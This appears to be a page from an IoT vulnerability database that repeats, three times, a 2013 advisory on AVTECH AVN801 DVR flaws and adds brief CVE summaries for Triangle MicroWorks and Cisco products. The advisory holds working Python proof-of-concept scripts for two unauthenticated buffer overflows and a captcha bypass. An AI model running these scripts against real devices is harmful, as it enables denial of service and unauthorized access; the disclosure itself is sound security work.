VARIoT IoT vulnerabilities database

AVTECH AVN801 DVR has a security bypass via the administration login captcha. AVTECH AVN801 DVR Contains an authentication vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. AVTECH AVN801 is a digital video recorder product. AVTECH AVN801 has a security restriction bypass vulnerability when running firmware version 1017-1003-1009-1003. A remote attacker can completely bypass captcha protection by sending multiple requests with any hard-coded verification code and matching verification code. AVTECH AVN801 is prone to a security-bypass vulnerability. Successfully exploiting this issue will allow attackers to bypass certain security restrictions and perform unauthorized actions. *Advisory Information* Title: AVTECH DVR multiple vulnerabilities Advisory ID: CORE-2013-0726 Advisory URL: http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities Date published: 2013-08-28 Date of last update: 2013-08-28 Vendors contacted: AVTECH Corporation Release mode: User release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper Access Control [CWE-284] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982 3. *Vulnerability Description* Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and potentially other devices sharing the affected firmware) that could allow a remote attacker: 1. [CVE-2013-4980] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP packet handler. 2. [CVE-2013-4981] To execute arbitrary code without authentication by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a specially crafted HTTP POST request. 3. 4. *Vulnerable Packages* . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003. Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* There was no official answer from AVTECH support team after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be: . Do not expose the DVR to internet unless absolutely necessary. Have at least one proxy filtering the 'SETUP' parameter in RTSP requests. Have at least one proxy filtering the 'Network.SMTP.Receivers' parameter in HTTP requests to '/cgi-bin/user/Config.cgi'. 6. *Credits* [CVE-2013-4980] was discovered and researched by Anibal Sacco from Core Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were discovered and researched by Facundo Pantaleo from Core Security Consulting Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Buffer Overflow in RTSP Packet Handler* [CVE-2013-4980] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the RTSP transaction; no authentication is required. As a result, the device crashes and it could possibly lead to a remote code execution. /----- import socket HOST = '192.168.1.1' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "SETUP Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS RTSP/1.0\r\n" trigger_pkt += "CSeq: 1\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" print "[*] Sending trigger" s.sendall(trigger_pkt) data = s.recv(1024) print '[*] Response:', repr(data), "\r\n" s.close() -----/ 7.2. *Buffer Overflow in config.cgi Parameters* [CVE-2013-4981] The following Python script exploits other buffer overflow condition; no authentication is required. As a result, the device crashes and it would possible lead to a remote code execution. /----- import httplib ip = "192.168.1.1" conn = httplib.HTTPConnection(ip) conn.request("POST", "/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1") resp = conn.getresponse() print resp.read() -----/ 7.3. As a result, the captcha protection can by completely bypassed. /----- import httplib ip = "192.168.1.1" print "Performing captcha replay with hardcoded wrong captcha code and verify code..." conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() print "Performing several captcha replays with hardcoded right captcha code and verify code..." for i in range(1, 10): conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() -----/ 8. *Report Timeline* . 2013-08-06: Core Security Technologies attempts to contact vendor using the AVTECH official technical support contact page [2]. No reply received. 2013-08-12: Core attempts to contact vendor. 2013-08-20: Core attempts to contact vendor. 2013-08-28: After 3 attempts to contact vendor, the advisory CORE-2013-0726 is released as 'user release'. 9. *References* [1] http://www.avtech.com.tw. [2] http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/. 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Buffer overflow in cgi-bin/user/Config.cgi in AVTECH AVN801 DVR with firmware 1017-1003-1009-1003 and earlier, and possibly other devices, allows remote attackers to cause a denial of service (device crash) and possibly execute arbitrary code via a long string in the Network.SMTP.Receivers parameter. AVTECH AVN801 is a digital video recorder product. A buffer overflow vulnerability exists in AVTECH AVN801 '/cgi-bin/user/Config.cgi'. No authentication is required. A remote attacker can exploit the vulnerability to execute arbitrary code through a specially crafted HTTP POST request. AVTECH AVN801 is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. Failed exploit attempts may result in a denial-of-service condition. AVTECH AVN801 running firmware version 1017-1003-1009-1003 is vulnerable. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ AVTECH DVR multiple vulnerabilities 1. *Advisory Information* Title: AVTECH DVR multiple vulnerabilities Advisory ID: CORE-2013-0726 Advisory URL: http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities Date published: 2013-08-28 Date of last update: 2013-08-28 Vendors contacted: AVTECH Corporation Release mode: User release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper Access Control [CWE-284] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982 3. *Vulnerability Description* Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and potentially other devices sharing the affected firmware) that could allow a remote attacker: 1. 2. 3. [CVE-2013-4982] To bypass the captcha of the administration login console enabling several automated attack vectors. 4. *Vulnerable Packages* . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003. Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* There was no official answer from AVTECH support team after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be: . Do not expose the DVR to internet unless absolutely necessary. Have at least one proxy filtering the 'SETUP' parameter in RTSP requests. Have at least one proxy filtering the 'Network.SMTP.Receivers' parameter in HTTP requests to '/cgi-bin/user/Config.cgi'. 6. *Credits* [CVE-2013-4980] was discovered and researched by Anibal Sacco from Core Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were discovered and researched by Facundo Pantaleo from Core Security Consulting Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Buffer Overflow in RTSP Packet Handler* [CVE-2013-4980] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the RTSP transaction; no authentication is required. As a result, the device crashes and it could possibly lead to a remote code execution. /----- import socket HOST = '192.168.1.1' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "SETUP Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS RTSP/1.0\r\n" trigger_pkt += "CSeq: 1\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" print "[*] Sending trigger" s.sendall(trigger_pkt) data = s.recv(1024) print '[*] Response:', repr(data), "\r\n" s.close() -----/ 7.2. As a result, the device crashes and it would possible lead to a remote code execution. /----- import httplib ip = "192.168.1.1" conn = httplib.HTTPConnection(ip) conn.request("POST", "/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1") resp = conn.getresponse() print resp.read() -----/ 7.3. *CAPTCHA Bypass* [CVE-2013-4982] The following Python proof of concept sends a wrong captcha in first place (just to verify that captcha protection is enabled); then, it sends ten requests with an arbitrary hardcoded captcha and its matching verification code. As a result, the captcha protection can by completely bypassed. /----- import httplib ip = "192.168.1.1" print "Performing captcha replay with hardcoded wrong captcha code and verify code..." conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() print "Performing several captcha replays with hardcoded right captcha code and verify code..." for i in range(1, 10): conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() -----/ 8. *Report Timeline* . 2013-08-06: Core Security Technologies attempts to contact vendor using the AVTECH official technical support contact page [2]. No reply received. 2013-08-12: Core attempts to contact vendor. 2013-08-20: Core attempts to contact vendor. 2013-08-28: After 3 attempts to contact vendor, the advisory CORE-2013-0726 is released as 'user release'. 9. *References* [1] http://www.avtech.com.tw. [2] http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/. 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Buffer overflow in the RTSP Packet Handler in AVTECH AVN801 DVR with firmware 1017-1003-1009-1003 and earlier, and possibly other devices, allows remote attackers to cause a denial of service (device crash) and possibly execute arbitrary code via a long string in the URI in an RTSP SETUP request. AVTECH AVN801 is a digital video recorder product. When AVTECH AVN801 runs firmware version 1017-1003-1009-1003, the RTSP message handler handles the RTSP transaction with a buffer overflow vulnerability that does not require authentication. A remote attacker can cause device crashes and remote code execution. AVTECH AVN801 is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. Failed exploit attempts may result in a denial-of-service condition. AVTECH AVN801 running firmware version 1017-1003-1009-1003 is vulnerable. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ AVTECH DVR multiple vulnerabilities 1. *Advisory Information* Title: AVTECH DVR multiple vulnerabilities Advisory ID: CORE-2013-0726 Advisory URL: http://www.coresecurity.com/advisories/avtech-dvr-multiple-vulnerabilities Date published: 2013-08-28 Date of last update: 2013-08-28 Vendors contacted: AVTECH Corporation Release mode: User release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper Access Control [CWE-284] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982 3. *Vulnerability Description* Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and potentially other devices sharing the affected firmware) that could allow a remote attacker: 1. 2. [CVE-2013-4981] To execute arbitrary code without authentication by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a specially crafted HTTP POST request. 3. [CVE-2013-4982] To bypass the captcha of the administration login console enabling several automated attack vectors. 4. *Vulnerable Packages* . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003. Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* There was no official answer from AVTECH support team after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be: . Do not expose the DVR to internet unless absolutely necessary. Have at least one proxy filtering the 'SETUP' parameter in RTSP requests. Have at least one proxy filtering the 'Network.SMTP.Receivers' parameter in HTTP requests to '/cgi-bin/user/Config.cgi'. 6. *Credits* [CVE-2013-4980] was discovered and researched by Anibal Sacco from Core Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were discovered and researched by Facundo Pantaleo from Core Security Consulting Team. 7. *Technical Description / Proof of Concept Code* 7.1. /----- import socket HOST = '192.168.1.1' PORT = 554 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) trigger_pkt = "SETUP Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2AaLSaLS RTSP/1.0\r\n" trigger_pkt += "CSeq: 1\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n" print "[*] Sending trigger" s.sendall(trigger_pkt) data = s.recv(1024) print '[*] Response:', repr(data), "\r\n" s.close() -----/ 7.2. *Buffer Overflow in config.cgi Parameters* [CVE-2013-4981] The following Python script exploits other buffer overflow condition; no authentication is required. /----- import httplib ip = "192.168.1.1" conn = httplib.HTTPConnection(ip) conn.request("POST", "/cgi-bin/user/Config.cgi?action=set&Network.SMTP.Receivers=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1") resp = conn.getresponse() print resp.read() -----/ 7.3. *CAPTCHA Bypass* [CVE-2013-4982] The following Python proof of concept sends a wrong captcha in first place (just to verify that captcha protection is enabled); then, it sends ten requests with an arbitrary hardcoded captcha and its matching verification code. As a result, the captcha protection can by completely bypassed. /----- import httplib ip = "192.168.1.1" print "Performing captcha replay with hardcoded wrong captcha code and verify code..." conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUA&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() print "Performing several captcha replays with hardcoded right captcha code and verify code..." for i in range(1, 10): conn = httplib.HTTPConnection(ip) conn.request("GET", "/cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46YWRtaW4=&captcha_code=FMUF&verify_code=FMUYyLOivRpgc HTTP/1.1") resp = conn.getresponse() print "Reading webpage..." print resp.read() -----/ 8. *Report Timeline* . 2013-08-06: Core Security Technologies attempts to contact vendor using the AVTECH official technical support contact page [2]. No reply received. 2013-08-12: Core attempts to contact vendor. 2013-08-20: Core attempts to contact vendor. 2013-08-28: After 3 attempts to contact vendor, the advisory CORE-2013-0726 is released as 'user release'. 9. *References* [1] http://www.avtech.com.tw. [2] http://www.avtech.com.tw/index.php?option=com_content&view=article&id=244&Itemid=453&lang=en. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/. 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Triangle MicroWorks SCADA Data Gateway 2.50.0309 through 3.00.0616, DNP3 .NET Protocol components 3.06.0.171 through 3.15.0.369, and DNP3 C libraries 3.06.0000 through 3.15.0000 allow remote attackers to cause a denial of service (infinite loop) via a crafted DNP3 TCP packet. Triangle MicroWorks is a US-based company that uses single or third-party component products to communicate with peripherals/slave devices using various transport protocols (OPC Client, IEC 60870-6 (TASE.2/ICCP) Client, IEC 60870-5, DNP3, Modbus). Triangle MicroWorks multiple product-related IP-based devices incorrectly verify input, allowing an attacker to exploit a vulnerability to submit a specially crafted TCP message to cause the software to cause an infinite loop, causing the process to crash and requiring a manual reboot to get normal functionality. Multiple Triangle MicroWorks products are prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to crash the affected device, denying service to legitimate users. Note: This issue affects the IP connected devices. SDG is a set of data acquisition and supervisory control system (SCADA) gateway products integrated in the server. DNP3 .NET Protocol components is a set of .NET framework components that support DNP3. DNP3 ANSI C source code libraries is a source code library based on the ANSI C standard

Triangle MicroWorks SCADA Data Gateway 2.50.0309 through 3.00.0616, DNP3 .NET Protocol components 3.06.0.171 through 3.15.0.369, and DNP3 C libraries 3.06.0000 through 3.15.0000 allow physically proximate attackers to cause a denial of service (infinite loop) via crafted input over a serial line. Triangle MicroWorks is a US-based company that uses single or third-party component products to communicate with peripherals/slave devices using various transport protocols (OPC Client, IEC 60870-6 (TASE.2/ICCP) Client, IEC 60870-5, DNP3, Modbus). Multiple Triangle MicroWorks products are prone to a local denial-of-service vulnerability. An attacker can exploit this issue to crash the affected device, denying service to legitimate users. NOTE: To exploit this issue, local access to the serial-based outstation is required. SDG is a set of data acquisition and supervisory control system (SCADA) gateway products integrated in the server. DNP3 .NET Protocol components is a set of .NET framework components that support DNP3. DNP3 ANSI C source code libraries is a source code library based on the ANSI C standard

The EAP-FAST authentication module in Cisco Secure Access Control Server (ACS) 4.x before 4.2.1.15.11, when a RADIUS server configuration is enabled, does not properly parse user identities, which allows remote attackers to execute arbitrary commands via crafted EAP-FAST packets, aka Bug ID CSCui57636. Vendors have confirmed this vulnerability Bug ID CSCui57636 It is released as.Skillfully crafted by a third party EAP-FAST An arbitrary command may be executed via a packet. Remote attackers can exploit this issue to execute arbitrary commands. This may facilitate a complete compromise of an affected device. This issue being tracked by Cisco Bug ID CSCui57636. When the RADIUS server configuration is enabled, the program does not correctly resolve user identities

The Cisco Unified IP Phone 8945 with software 9.3(2) allows remote attackers to cause a denial of service (device hang) via a malformed PNG file, aka Bug ID CSCud04270. A remote attacker may exploit this issue to cause denial-of-service conditions. This issue is tracked by Cisco Bug ID CSCud04270. The device provides functions such as voice and video

The captive portal application in Cisco Identity Services Engine (ISE) allows remote attackers to discover cleartext usernames and passwords by leveraging unspecified use of hidden form fields in an HTML document, aka Bug ID CSCug02515. An attacker can exploit this issue to obtain sensitive information that may aid in further attacks. This issue is being tracked by Cisco Bug ID CSCug02515. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies

Cross-site request forgery (CSRF) vulnerability in the Enterprise License Manager (ELM) in Cisco Unified Communications Manager (CM) allows remote attackers to hijack the authentication of arbitrary users for requests that make ELM modifications, aka Bug ID CSCui58210. Vendors have confirmed this vulnerability Bug ID CSCui58210 It is released as.A third party is hijacking the authentication of any user, ELM Changes may be made. Attackers can exploit this issue to perform certain administrative actions and to gain unauthorized access to the affected application. This issue is being tracked by Cisco bug IDs CSCui58210 and CSCul33890. This component provides a scalable, distributed and highly available enterprise IP telephony call processing solution

